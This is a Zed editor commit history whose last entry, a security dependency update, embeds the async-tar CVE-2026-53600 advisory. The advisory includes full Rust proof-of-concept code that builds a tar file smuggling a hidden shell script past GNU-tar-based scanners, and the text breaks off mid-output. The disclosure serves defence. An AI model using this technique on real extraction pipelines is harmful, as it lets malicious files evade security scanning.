fbda4f862a2fb03b854636b17bd04be3db3d94de
4885
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
4ee16d3650 |
Fix the macOS tests that hang locally (#61407)
See also https://github.com/zed-industries/notify/pull/9 <img width="2088" height="266" alt="image" src="https://github.com/user-attachments/assets/f4bc0b5c-76a9-424a-9abc-abde6e56b9db" /> Release Notes: - N/A |
||
|
|
86ffaa94fd |
acp: Update agent-client-protocol to 1.3.0 (#61404)
Brings in some bug fixes from upstream. Release Notes: - N/A |
||
|
|
dc0c66cfeb |
cloud_api_client: Implement Wasm support (#61328)
Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: Gaauwe Rombouts <mail@grombouts.nl> |
||
|
|
abfced8e47 |
image_viewer: Allow setting a custom zoom level (#57215)
Allows you to click on the zoom percent to edit it. Right clicking the percentage resets to 100%. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Added support for editing image viewer zoom levels directly from the toolbar. --------- Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
cfc225d3ae |
extension: Check for rustup before calling it (#56090)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #42353 Release Notes: - Fixed extension building failing on systems where Rust is installed without rustup (e.g., NixOS, distro packages) --------- Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
b832d440a2 |
search: Escape seeded project search query in regex mode (#61335)
Fixes what https://github.com/zed-industries/zed/pull/57748 does for buffer search. When project search is deployed with regex mode enabled and the query is seeded from the editor's selection or the word under the cursor, that text is literal, so regex chars in it (e.g. `.` in `z.d`) are now escaped instead of being interpreted as regex syntax. This follows how VSCode handles it. Release Notes: - Fixed project search queries seeded from the current selection being interpreted as a regular expression instead of literal text when regex mode was enabled. |
||
|
|
2d06fded9c |
Revert "editor: Add language detection for untitled buffers (#61201)" (#61351)
This reverts commit
|
||
|
|
e1ee74dcbf |
worktree_picker: Improve discoverability of tasks as a creation setup mechanism (#61148)
Sometimes when creating Git worktrees, it's necessary to set things up so the new worktree is ready. For example, copying env.vars, installing dependencies, etc. That was already possible in Zed through the tasks system, but you'd only maybe know about that if you read the documentation or is super familiar with it already; nothing in the product in the context of worktrees told you about that. This is what this PR does. Now, in the worktree picker, there's a "" button that opens the `tasks.json` file exposing the `create_worktree` hook, which allows you to plugin all sorts of things to be run by the time of a worktree creation. If you don't already have a `tasks.json` file, we will create a new one for you with a worktree-creation template. Otherwise, we either append the `create_worktree` hook content to it or just open the file. Here's a quick video: https://github.com/user-attachments/assets/21908be4-306b-4cf3-bed0-50d52cad9d79 Release Notes: - Git Worktrees: Improved discoverability of the `create_worktree` hook for setting up things that need to happen by the time of worktree creation. |
||
|
|
a98c7e2fa8 |
editor: Add language detection for untitled buffers (#61201)
# Objective Closes #4868. Untitled buffers start as Plain Text and require users to select a language manually before receiving syntax highlighting. Add lightweight automatic language detection for code entered or pasted into untitled buffers. ## Solution This builds on [Max Stevens's earlier language-detection work](https://github.com/zed-industries/zed/pull/43057), replacing Magika with [Betlang](https://github.com/DioxusLabs/betlang). While researching smaller and faster alternatives to Magika, I came across Betlang, a recently introduced language detection library developed by DioxusLabs for dioxus-code. The fact that it comes from DioxusLabs gave me more confidence in evaluating this relatively new dependency for Zed. Betlang embeds an approximately 50 KB model, is MIT-licensed, and depends only on `fearless_simd`, making it well suited to Zed's cross-platform embedding requirements. Detection runs on the background executor with bounded input sampling. It is restricted to untitled buffers, skips content shorter than 20 bytes, and requires at least 50% confidence. These limits have worked well in local testing. In release builds on Linux with an Intel Core i5-13600KF, the `betlang::detect` call alone typically completes within 3 ms when processing the maximum sampled input. ## Testing I added a test for language detection in untitled buffers that covers both manually entered and pasted content. The test passes successfully. I also manually tested the feature to verify that the overall experience works well. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase https://github.com/user-attachments/assets/96e28ad7-2968-4325-9aff-37fe813a2da7 --- Release Notes: - Added automatic language detection for untitled buffers. --------- Co-authored-by: Max Stevens <maxstevens2708@gmail.com> |
||
|
|
728cb247e9 |
buffer_diff: Canonicalize ambiguous hunk placement to fix staging corruption (#60584)
Closes #60424 ## Problem With the repro from #60424, staging the first deletion hunk marked the second deletion as staged in the UI even though git still had it unstaged, and clicking the (incorrectly shown) Unstage button inserted a duplicate copy of the hunk's contents into the git index on every click. The root cause is ambiguous hunk placement. The committed text contains repeated `end\n\n` line runs, so the deletion hunks can "slide": more than one placement produces a minimal diff. The uncommitted diff (HEAD vs worktree) anchored the remaining deletion at one row while the unstaged diff (index vs worktree), recomputed after the partial stage, anchored the same logical deletion at a different row. Everything that correlates hunks across those two diffs assumes they agree on positions: - the secondary-status matching in `hunks_intersecting_range_impl` found no unstaged hunk at the uncommitted hunk's rows and reported it as staged (`NoSecondaryHunk`); - the worktree→index projection in `compute_uncommitted_index_edits` treated the hunk's position as unchanged text and, on unstage, inserted the hunk's HEAD content at an index position that already contained it, duplicating it on every request. ## Fix Upgrade `imara-diff` from 0.1.8 to 0.2.0 and run `Diff::postprocess_lines` (imara-diff's port of git's xdiff slider/indent heuristic) after computing hunks in `buffer_diff`. This canonicalizes the placement of ambiguous hunks based only on their local content, so diffs of the same buffer against different base texts anchor the same logical change at the same rows. A bonus is that Zed's hunk placement now matches `git diff`'s output for such cases (git has used the indent heuristic by default since 2.11). As defense in depth, `compute_uncommitted_index_edits` now drops a pure-insertion index edit whose content is already present at the target position, so a stale secondary status can no longer duplicate index content. The imara-diff 0.2 API removed the `Sink` trait and the top-level `diff()` function, so the other call sites (`language/text_diff.rs`, `zeta_prompt/udiff.rs`, `edit_prediction_metrics/reversal.rs`) are migrated mechanically to `Diff::compute` + `hunks()` with unchanged behavior (0.2 also renamed `lines_with_terminator` to `lines` and changed the default `&str` tokenization to include terminators; the unified-diff builders keep terminator-less tokens via `str::lines()`). ## Testing - New regression test `test_staging_hunks_with_ambiguous_placement` replays the exact repro from #60424 (same file contents): stages the first deletion, asserts the remaining hunks keep their unstaged status and the index matches exactly, then issues repeated unstage requests for the unstaged hunk and asserts the index is unchanged. Before the fix this test showed the second hunk flipping to staged and the index growing by one copy of the deleted block per unstage request. - `buffer_diff`, `language`, `zeta_prompt`, `edit_prediction_metrics`, `multi_buffer`, `git_ui`, `editor`, and the `project` integration suite pass. - One test expectation updated: `editor::test_fold_function_bodies` asserted the old placement of an ambiguous deletion (blank line before comment); the canonicalized placement (comment before blank line) matches what `git diff` produces for the same texts. Release Notes: - Fixed staging a hunk sometimes marking a different hunk as staged (and subsequent unstaging corrupting the git index) when the diff contained repeated lines ([#60424](https://github.com/zed-industries/zed/issues/60424)). --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
2e405c7c7a |
gpui: Remove ExitProcess shutdown workaround (#61219)
The issue with aws-lc that necessitated this workaround has been fixed upstream: https://github.com/aws/aws-lc/issues/3197. Release Notes: - N/A |
||
|
|
cd91c84675 |
gpui: Add system notification platform APIs (#61189)
Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: John Tur <john-tur@outlook.com> |
||
|
|
ec06066302 |
outline: Add preview pane to buffer symbols (#61069)
# Objective - Implement preview pane for buffer symbols, similar to #59863 ## Showcase ### Before <img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 25 19@2x" src="https://github.com/user-attachments/assets/443f150a-bb67-4bac-ba4a-f8f299554470" /> ### After <img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 19 09@2x" src="https://github.com/user-attachments/assets/0fd4be89-d25e-4052-8de0-3a9a5a5908f9" /> --- Release Notes: - Added a preview pane to the buffer symbols picker |
||
|
|
28ed883b99 |
Bump taffy (#61183)
Follow-up to https://github.com/zed-industries/zed/pull/60721 Release Notes: - N/A |
||
|
|
23ee3ba37d |
project_panel: Add remote support for undo/redo system (#59709)
# Objective Add remote (SSH) and collaboration support for trashing and restoring files in the project panel, which in turn enables undo/redo of trash operations against remote and collab projects. Relates to #5039. ## Solution - Updated the project panel undo system to carry `TrashId` instead of `TrashedEntry`. - Using `TrashedEntry` could get hairy, as it includes paths, which wouldn't play too nicely when using, for exapmle, macOS as the client and Windows as the host. Using a simple identifier is much easier in this regard and simplifies implementation. - Enabled the Trash action and context-menu entry on remote projects, and removed the command palette filter in `ProjectPanel::new` that was still hiding the action on remote. - As far as I can tell, there isn't a reliable way to detect whether a given remote actually supports the OS trash, so we expose the action everywhere rather than guessing. On a remote without trash support the action will fail when invoked but this is a conscious tradeoff until we find a better way to handle this. - `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on each `Fs` implementation. Trashed files are referenced by an opaque `TrashId` instead of passing a `TrashedEntry` around, which avoids serializing filesystem paths in remote messages. - Split the old `delete_entry(trash: bool)` API into distinct `trash_entry`/`trash_file` (returning a `TrashId`) and `delete_entry`/`delete_file` across `Project`, `Worktree`, `LocalWorktree` and `RemoteWorktree`. - This lets us drop the optional trash result (`Option<TrashedEntry>`) from the delete path and require a `TrashId` from the trash path. - Added new proto messages (`TrashProjectEntry`, `TrashProjectEntryResponse`, `RestoreProjectEntry`, `RestoreProjectEntryResponse`) to let clients request the host to trash or restore entries. - This deprecates `DeleteProjectEntry::use_trash`, but the host still honors it. An older collab peer may request trashing via that flag instead of the newer `TrashProjectEntry`. If the host ignored it, a newer host would permanently delete a file the user meant to send to the trash. The field will be removed in a later PR once all supported peers use `TrashProjectEntry`. ## Testing The following tests were introduced to ensure the new behavior is correctly tested: * `remote_server::remote_editing_tests::test_remote_trash_restore` – Tests trashing a project entry in remote * `remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash` – Test to ensure we continue respecting `DeleteProjectEntry::use_trash` until it is fully removed * `project_panel::tests::undo::trash_directory_undo_redo` – Not related to these changes but a nice to have as we were missing a test ensuring that trashing and then undoing and redoing it for a directory works as expected Besides these, the following scenarios were manually tested against a remote session on the same machine (macOS): - Trashing → Undo (Restore) → Redo (Trashing) - Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing) - Rename → Undo (Rename) → Redo (Rename) - Move → Undo (Move) → Redo (Move) - Batch Move → Undo (Batch Move) → Redo (Batch Move) ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Yara <git@yara.blue> |
||
|
|
22c0cbd009 |
gpui: Bump taffy from 0.10.1 to 0.12.1 (#60721)
Migrates the alignment conversions to taffy's new safe-alignment style types: `AlignItems`/`AlignContent` and friends are now structs pairing a keyword with a safety modifier, constructed via associated constants (e.g. `AlignItems::START`) instead of enum variants. The motivating change in this release is [taffy #911](https://github.com/DioxusLabs/taffy/commit/df2663aad35801f7522f6878a0300646dfe624f7) ("More correct caching logic"), which keys taffy's per-node measure cache on axis, parent size, and available space. Today GPUI is largely immune to the old cache-key conflation because text answers every sizing probe with the same width; the follow-up PR in this stack (honest min-content text measurement) returns different sizes for different constraints, which makes cache-key correctness a prerequisite. 0.12.1 additionally hotfixes two block layout/caching regressions in 0.12.0, and 0.11.0's grid fix (resolving item percentages against the grid area rather than the container) comes along as well. Stack: 1. **This PR** — taffy 0.12.1 2. #60722 — honest min-content text measurement 3. #60723 — CSS `auto` grid tracks for table-like column sizing Release Notes: - N/A |
||
|
|
b76c0417c0 |
Bump Zed to v1.13.0 (#61059)
Release Notes: - N/A Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
919ec316f3 |
search: Add LSP location pickers for references, definitions, and diagnostics (#59838)
# Objective Closes #59829 Provide a filterable, preview-backed picker for LSP results as an alternative to the multi-buffer view, for references, definitions, implementations. ## Solution Update the 3 existing LSP actions (definitions, implementations, find all references) to add a `open_results_in` parameter which accepts either `multi_buffer` (default) or `picker` to show the results in a filterable picker with preview. This behavior can be configured globally in the settings via `lsp_results_location`. UX: - The 3 existing LSP actions each accept a `open_results_in` parameter so that each action can be configuring individually with a custom keybind - The `lsp_results_location` global setting can be used to set a default behavior with `open_results_in == None` - Go to definition falls back to find all references (if configured) on empty results which is consistent with the non-picker path - Results are grouped by file; each row shows the line number and the syntax-highlighted source line with the match emphasized. - Typing filters by line text or path; the preview updates with the selection. - Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split, and re-invoking the command toggles the picker closed. - Empty results show a toast so the command never silently does nothing. - Note: the new pickers do not open on cmd-click, only when invoked via the command palette or keybind ## Testing - No automated tests yet — holding for first-round feedback on the approach and UX before adding tests. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable ## Showcase https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8 --- Release Notes: - The find all references, go to definitions, and go to implementations LSP actions can be configured to open results in a picker with preview instead of a multibuffer. |
||
|
|
a6a2cd66b0 |
language_core: Remove lsp-types dependency (#61041)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
6b6393fb0b |
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as well as better sharing for our projects. This also includes the WIP AbsPath abstraction as well as some bug fixes from internal tooling. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
995cc07249 |
git: Add a gpg wrapper script to route GnuPG prompts via the askpass UI (#58791)
This PR adds support for entering your git GPG passphrase through the askpass UI. As a daily Zed user I'm really missing this feature, this forces me to switch to a terminal or an external application. which is not ideal for me and most people that are forced to use GPG signing. Right now Zed can show a similar error (redacted) when you are trying to commit with GPG signing enabled: ``` error: gpg failed to sign the data: [GNUPG:] KEY_CONSIDERED <redacted> 2 [GNUPG:] BEGIN_SIGNING H8 [GNUPG:] PINENTRY_LAUNCHED 4625 curses 1.3.2 - xterm-ghostty - - 501/20 0 gpg: signing failed: Inappropriate ioctl for device [GNUPG:] FAILURE sign <redacted> gpg: signing failed: Inappropriate ioctl for device fatal: failed to write commit object ``` Here is the key configurion parts of my **global** git config: ``` [user] name = Remco Smits email = <redacted> signingkey = <redacted> [commit] gpgsign = true [tag] gpgsign = true ``` **Before** https://github.com/user-attachments/assets/60a06574-92f1-45df-a29a-8ae11db6751d **After** https://github.com/user-attachments/assets/92b648e9-b538-4ce5-af4c-136689d14e1a **How to test this?** 1. Create a key `gpg --full-generate-key` 2. Run `git config --global user.signingkey <KEY ID>` 3. Run `git config --global commit.gpgsign true` 4. Run & copy result from `gpg --armor --export <KEY ID>` and submit your public key to github [https://github.com/settings/gpg/new](https://github.com/settings/gpg/new) 5. Make a change and try committing 6. See that it promts for your passphrase :) **Note**: I used AI as an assistant to write this PR Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Git: Passphrase prompts from GPG to unlock commit signing keys are now shown in Zed. Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
1063107f5e |
Show download percentage in download button's tooltip (#60990)
Closes https://github.com/zed-industries/zed/discussions/60944 <img width="568" height="143" alt="downloads" src="https://github.com/user-attachments/assets/e5643106-a0c9-496c-bff2-300faad38839" /> Release Notes: - Started to show download percentage in download button's tooltip |
||
|
|
31f1c84909 |
crashes: Capture glibc's abort diagnostic in crash reports (#60624)
Linux crash reports for runtime-initiated aborts currently carry no information about why the runtime aborted. A sizable family of Sentry issues (FR-108 / [ZED-9SC](https://zed-dev.sentry.io/issues/7581925141/) among them) consists of glibc's malloc integrity checks detecting heap corruption and aborting from inside `malloc`/`realloc`/`free`, so each event lands on a random victim stack and the underlying problem stays invisible and ungroupable. glibc records the diagnostic it prints before aborting ("free(): invalid pointer", "double free or corruption", assertion failures, stack-smashing reports) in the private `__abort_msg` global specifically so it can be recovered post-mortem. This resolves that symbol's address at startup and sends it to the crash-handler process; when a crash comes in, the handler reads the message out of the crashed process's memory with `process_vm_readv` while the client is still parked in its signal handler awaiting the dump acknowledgement. The message is then attached to crash uploads as a searchable `abort_message` tag plus a full-text context. The crashed process does no work itself, which matters because in exactly these crashes the crashed thread may hold the allocator's arena lock, so it cannot safely allocate or format anything. Everything degrades gracefully to the current behavior when the symbol is unavailable (musl, future glibc changes). With the tag in place, Sentry fingerprint rules can fold these corruption aborts into a single tracked issue instead of minting a new single-event issue per victim stack, and the message text distinguishes double-frees from out-of-bounds metadata corruption when hunting the actual culprit. Release Notes: - N/A |
||
|
|
084cf7b50f |
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# 